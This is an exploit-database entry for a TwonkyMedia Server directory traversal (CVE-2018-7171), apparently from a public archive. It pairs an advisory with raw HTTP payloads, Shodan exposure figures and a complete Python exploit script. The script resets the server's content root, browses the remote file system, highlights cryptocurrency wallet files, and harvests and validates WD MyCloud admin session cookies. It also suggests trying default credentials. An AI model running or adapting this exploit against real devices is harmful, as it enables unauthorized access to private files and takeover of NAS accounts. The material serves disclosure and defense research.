TwonkyMedia Server 7.0.11-8.5 Directory Traversal

2018.03.29
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-22


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

''' --------------------------------------------------------------------- 1. About --------------------------------------------------------------------- # Exploit Title: TwonkyMedia Server 7.0.11-8.5 Directory Traversal # Date: 2018-03-27 # Exploit Author: Sven Fassbender # Contact: https://twitter.com/mezdanak # Vendor Homepage: http://www.lynxtechnology.com/home # Software Link: https://twonky.com/downloads/index.html # Version: 7.0.11-8.5 # CVE : CVE-2018-7171 # Category: webapps --------------------------------------------------------------------- 2. Background information --------------------------------------------------------------------- "With Twonky from Lynx Technology, you can quickly discover your media libraries of digital videos, photos and music in your home, control them from mobile devices, and enjoy them on connected screens and speakers. Twonky Server is the industry leading DLNA/UPnP Media Server from Lynx Technology that enables sharing media content between connected devices. Twonky Server is used worldwide and is available as a standalone server (end user installable, e.g. for PCs/Macs) or an embedded server for devices such as NAS, routers/gateways and STBs. Twonky Server’s web UI provides optimal capability for you to easily and reliably control and play back your media files in a variety of ways, and to “beam” those media files to other connected devices." --extract from https://twonky.com Previous similar vulnerabilities: https://packetstormsecurity.com/files/112227/PacketVideo-TwonkyServer-TwonkyMedia-Directory-Traversal.html Fix: https://docs.twonky.com/display/TRN/Twonky+Server+7.0.x Statistics: Around 20800 TwonkyMedia Servers public available listed on shodan.io worldwide. (https://www.shodan.io/search?query=twonky) Rarely protected by password (only around 2%). Top Countries: 1. United States 2. Germany 3. Korea 4. Russian Federation 5. France 6. Italy 7. Taiwan 8. Poland 9. Hungary 10. United Kingdom TwonkyMedia Server seems too be pre installed on a huge range of NAS devices. For example the following NAS devices: Thecus N2310 Thecus N4560 WDMyCloud, MyCloudEX2Ultra, WDMyCloudEX4, WDMyCloudEX2100, QNAP, Zyxel NAS326, Zyxel NAS542, Zyxel NSA310, Zyxel NSA310S, Zyxel NSA320, Zyxel NSA325-v2 ... Other devices: Belkin routers Zyxel EMG2926-Q10A ... --------------------------------------------------------------------- 3. Vulnerability description --------------------------------------------------------------------- TwonkyMedia Server has a function which allows browsing parts of the file system, that are marked as shares by the user. By setting the "contentdir" parameter to "/../" with the rpc call "set_all", an attacker can discover the filesystem outside of the user specified shares: HTTP request: POST /rpc/set_all HTTP/1.1 Host: 192.168.188.9:9000 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: */* Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.188.9:9000/ Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Content-Length: 228 Connection: close contentdir=/../ Now one can discover the file system with requests like the following: HTTP request: GET /rpc/dir?path=/ HTTP/1.1 Host: 192.168.188.9:9000 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: */* Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.188.9:9000/webconfig X-Requested-With: XMLHttpRequest Connection: close HTTP response: HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Content-Language: en Content-Length: 128 Date: Sat, 03 Feb 2018 09:31:28 GMT Accept-Ranges: bytes Connection: close Expires: 0 Pragma: no-cache Cache-Control: no-cache EXT: Server: Linux/2.x.x, UPnP/1.0, pvConnect UPnP SDK/1.0, Twonky UPnP SDK/1.1 001D/ 002D/bin 003D/boot 004D/CacheVolume 005D/DataVolume 006D/dev 007D/etc 008D/home 009D/lib 010D/media 011D/mnt 012D/nfs 013D/opt 014D/proc 015D/root 016D/run 017D/sbin 018D/shares 019D/srv 020D/sys 021D/system 022D/tmp 023D/usr 024D/var --------------------------------------------------------------------- 4. Proof of Concept --------------------------------------------------------------------- https://github.com/mechanico/sharingIsCaring/blob/master/twonky.py --------------------------------------------------------------------- 5. Attack Scenarios --------------------------------------------------------------------- - TwonkyMedia Server path traversal vs. WD MyCloud Files with filename representing PHPSESSID admin cookie's were discovered in the /tmp/ directory of a WDMyCloud NAS device: $ python twonky.py 192.168.188.9 9000 https://www.shodan.io/host/192.168.188.9 *** Port 9000 opened *** Run Twonky browser on port 9000 [Y, N]? [Y] *** Get Serverdetails from Twonky *** Server Name: WDMyCloud Serverplatform: armel_gcc473_glibc215_64k Pictures shared: 0 Videos shared: 0 Twonky Version: 7.2.9-6 Build date: 03/25/2015 (mm/dd/yyyy) *** 'contentbase' path set to '/'' *** path nr: ------------------------------ [...] 022 Dir /tmp [...] ------------------------------ path nr: 022 ------------------------------ [...] 059 Fil sess_c61ufnntn31o2ovuj0ncf8fkp1 [...] Valid WDMyCloud cookie discovered: {'PHPSESSID': 'c61ufnntn31o2ovuj0ncf8fkp1'} ------------------------------ path nr: This cookie can be used to access the WDMyCloud Rest-Api. (http://ip/api/2.1/rest/...) With this access an attacker can e.g., create/modify users, download all files accessible by the user, update Firmware, ... - TwonkyMedia Server path traversal vs. privacy People may store sensitive information on their NAS devices. Such as: - Business information - Health records - Passwords - Credit Cards - Passports - Currcillum Vitaes - Invoices Business/Private - "Private" photos - Illegal material - ... - DMCA protected information There maybe also DMCA protected information public available. Such as: - Movies - Music --------------------------------------------------------------------- 6. Fix --------------------------------------------------------------------- All TwonkyMedia Server versions between 7.0.11 -> 8.5 have been tested as vulnerable. While writing this advisory 8.5 is the latest version available: https://twonky.com/downloads/index.html --------------------------------------------------------------------- ''' import urllib3 import sys import socket import requests from colorama import init, Fore urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) init(autoreset=True) # Extend KEYWORDS, list if you want. This will highlight files and directory names that include a keyword. KEYWORDS = ["CRYPTO", "CRIPTO", "BITCOIN", "WALLET"] def keywordDetector(line): for keyword in KEYWORDS: if line.upper().find(keyword) != -1: return True return False def checkPort(host, port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((host,int(port))) s.settimeout(2) s.shutdown(2) return True except: return False def setContentBase(host, port): payload = "\ncontentbase=/../\n" url = "http://{0}:{1}/rpc/set_all".format(host, port) try: response = requests.post(url, data=payload, timeout=5) except requests.exceptions.ReadTimeout: print (Fore.RED + "*** Timeout while setting contentbase path to '/' ***") except requests.exceptions.ChunkedEncodingError: print (Fore.RED + "*** 'contentbase' cannot be modified, password protection active ***") sys.exit() except requests.exceptions.ConnectionError: url = "https://{0}:{1}/rpc/set_all".format(host, port) response = requests.post(url, data=payload, timeout=5, verify=False) if response.status_code != 200: print (Fore.RED + "*** 'contentbase' cannot be modified, password protection active ***") print (Fore.YELLOW + "*** You should try to login with admin:admin (default creds) ***") sys.exit() else: print (Fore.MAGENTA + "*** 'contentbase' path set to '/'' ***") return True def serverInfo(host, port): print (Fore.MAGENTA + "*** Get Serverdetails from Twonky ***") try: url = "http://{0}:{1}/rpc/get_friendlyname".format(host, port) friendlyname = requests.get(url, timeout=5) except requests.exceptions.ConnectionError: url= "https://{0}:{1}/rpc/get_friendlyname".format(host, port) friendlyname = requests.get(url, timeout=5, verify=False) if friendlyname.status_code == 200: print (Fore.GREEN + "Server Name: {0}".format(friendlyname.text)) else: print (Fore.RED + "*** Not authorized to edit settings, password protection active ***") sys.exit() try: url = "http://{0}:{1}/rpc/info_status".format(host, port) infoStatus = requests.get(url, timeout=5) except requests.exceptions.ConnectionError: url = "https://{0}:{1}/rpc/info_status".format(host, port) infoStatus = requests.get(url, timeout=5, verify=False) for line in infoStatus.iter_lines(): if line : if line.find("version") != -1: lineSplited = line.split("|") versionNumber = lineSplited[1] print (Fore.GREEN + "Twonky Version: {0}".format(versionNumber)) elif line.find("serverplatform") != -1: lineSplited = line.split("|") serverPlatform = lineSplited[1] print (Fore.GREEN + "Serverplatform: {0}".format(serverPlatform)) elif line.find("builddate") != -1: lineSplited = line.split("|") buildDate = lineSplited[1] print (Fore.GREEN + "Build date: {0}".format(buildDate)) elif line.find("pictures") != -1: lineSplited = line.split("|") pictureCount = lineSplited[1] print (Fore.GREEN + "Pictures shared: {0}".format(pictureCount)) elif line.find("videos") != -1: lineSplited = line.split("|") videoCount = lineSplited[1] print (Fore.GREEN + "Videos shared: {0}".format(videoCount)) return versionNumber def checkSessionCookie(host, cookieString): url = "http://{0}/api/2.1/rest/device_user".format(host) cookieTemp = cookieString.split("_") cookie = {'PHPSESSID': cookieTemp[1]} response = requests.get(url, timeout=10, cookies=cookie) if response.status_code == 200: return cookie else: return False def browser(host, port, version): while True: var = raw_input("path nr: ") if var != "exit" : if version[0] == "8": url = "http://{0}:{1}/rpc/dir?path={2}".format(host, port, var) else: url = "http://{0}:{1}/rpc/dir/path={2}".format(host, port, var) try: response = requests.get(url, timeout=5) except requests.exceptions.ConnectionError: if version[0] == "8": url = "https://{0}:{1}/rpc/dir?path={2}".format(host, port, var) else: url = "https://{0}:{1}/rpc/dir/path={2}".format(host, port, var) response = requests.get(url, timeout=5, verify=False) print "-" * 30 validCookieString = "" for line in response.iter_lines(): if line : if len(line) > 3: if line[3] == "D": line = line[:4].replace("D", " Dir ") + line[4:] if keywordDetector(line[4:]): print (Fore.RED + line) else: print (Fore.GREEN + line) elif line[3] == "F": line = line[:4].replace("F", " Fil ") + line[4:] if keywordDetector(line[4:]): print (Fore.RED + line) elif line[8:13] == "sess_": print line validCookie = checkSessionCookie(host, line[8:]) if validCookie != False: validCookieString = validCookie else: print line else: print line if len(validCookieString) >= 1: print (Fore.RED + "Valid WDMyCloud cookie discovered: {0}".format(validCookieString)) print "-" * 30 elif var == "exit": sys.exit() #*** Program start here *** if __name__ == '__main__': if len(sys.argv) != 3: print "Usage: $ " + sys.argv[0] + " [IP_adress] [port]" else: host = sys.argv[1] print (Fore.MAGENTA + "https://www.shodan.io/host/{0}".format(host)) port = sys.argv[2] if checkPort(host, port): print (Fore.GREEN + "*** Port {0} opened ***".format(port)) twonky = raw_input("Run Twonky browser on port {0} [Y, N]? [Y] ".format(port)) if twonky.upper() != "N": version = serverInfo(host, port) if setContentBase(host, port): browser(host, port, version)


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